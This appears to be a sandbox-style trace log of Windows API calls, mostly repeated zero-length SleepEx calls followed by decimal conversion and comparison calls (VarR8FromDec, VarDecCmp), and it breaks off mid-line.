[0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.226] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.803] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.211] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.265] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.270] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.271] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.278] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.279] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.282] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.308] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.309] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.309] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.309] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.311] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.312] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.892] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.894] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.895] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.896] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0121.897] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.617] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.618] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.619] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.620] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0122.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.613] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.684] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.705] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.705] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.710] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.711] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.725] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.725] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0123.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.569] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.570] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.614] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.621] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.645] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.660] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.707] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.730] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.731] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.732] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.754] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.810] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.812] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.814] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.818] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.818] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0124.819] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0126.742] VarR8FromDec (in: pdecIn=0xa0ef0c4, pdblOut=0xa0ef0b0 | out: pdblOut=0xa0ef0b0) returned 0x0 [0126.742] VarR8FromDec (in: pdecIn=0xa0ef0d8, pdblOut=0xa0ef0c4 | out: pdblOut=0xa0ef0c4) returned 0x0 [0126.742] VarR8FromDec (in: pdecIn=0xa0ef0c4, pdblOut=0xa0ef0b0 | out: pdblOut=0xa0ef0b0) returned 0x0 [0126.742] VarR8FromDec (in: pdecIn=0xa0ef0d8, pdblOut=0xa0ef0c4 | out: pdblOut=0xa0ef0c4) returned 0x0 [0126.742] VarR8FromDec (in: pdecIn=0xa0ef0c4, pdblOut=0xa0ef0b0 | out: pdblOut=0xa0ef0b0) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefa4, pdecRight=0xa0eef94) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefa4, pdecRight=0xa0eef94) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefa4, pdecRight=0xa0eef94) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefd0, pdecRight=0xa0eefc0) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefd0, pdecRight=0xa0eefc0) returned 0x1 [0126.756] VarDecCmp (pdecLeft=0xa0eefb0, pdecRight=0xa0eefa0) returned 0x1 [0126.756] VarDecCmp (pdecLeft=0xa0eefd0, pdecRight=0xa0eefc0) returned 0x0 [0126.756] VarDecCmp (pdecLeft=0xa0eefd0, pdecRight=0xa0eefc0) returned 0x1 [0126.756] VarDecCmp (pdecLeft=0xa0eefb0, pdecRight=0xa0eefa0) returned 0x1 [0126.757] VarDecCmp (pdecLeft=0xa0ef080, pdecRight=0xa0ef070) returned 0x0 [0126.757] VarDecCmp (pdecLeft=0xa0ef060, pdecRight=0xa0ef050) returned 0x2 [0126.757] VarDecCmp (pdecLeft=0xa0ef080, pdecRight=0xa0ef070) returned 0x0 [0126.757] VarDecCmp (pdecLeft=0xa0ef060, pdecRight=0xa0ef050) returned 0x2 [0126.757] VarDecCmp (pdecLeft=0xa0eefc4, pdecRight=0xa0eefb4) returned 0x1 [0126.758] VarDecCmp (pdecLeft=0xa0eef44, pdecRight=0xa0eef34) returned 0x1 [0126.758] VarDecCmp (pdecLeft=0xa0eef44, pdecRight=0xa0eef34) returned 0x1 [0126.758] VarDecCmp (pdecLeft=0xa0eef44, pdecRight=0xa0eef34) returned 0x1 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.759] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: pdblOut=0xa0eeeac) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeed4, pdblOut=0xa0eeec0 | out: pdblOut=0xa0eeec0) returned 0x0 [0126.770] VarR8FromDec (in: pdecIn=0xa0eeec0, pdblOut=0xa0eeeac | out: 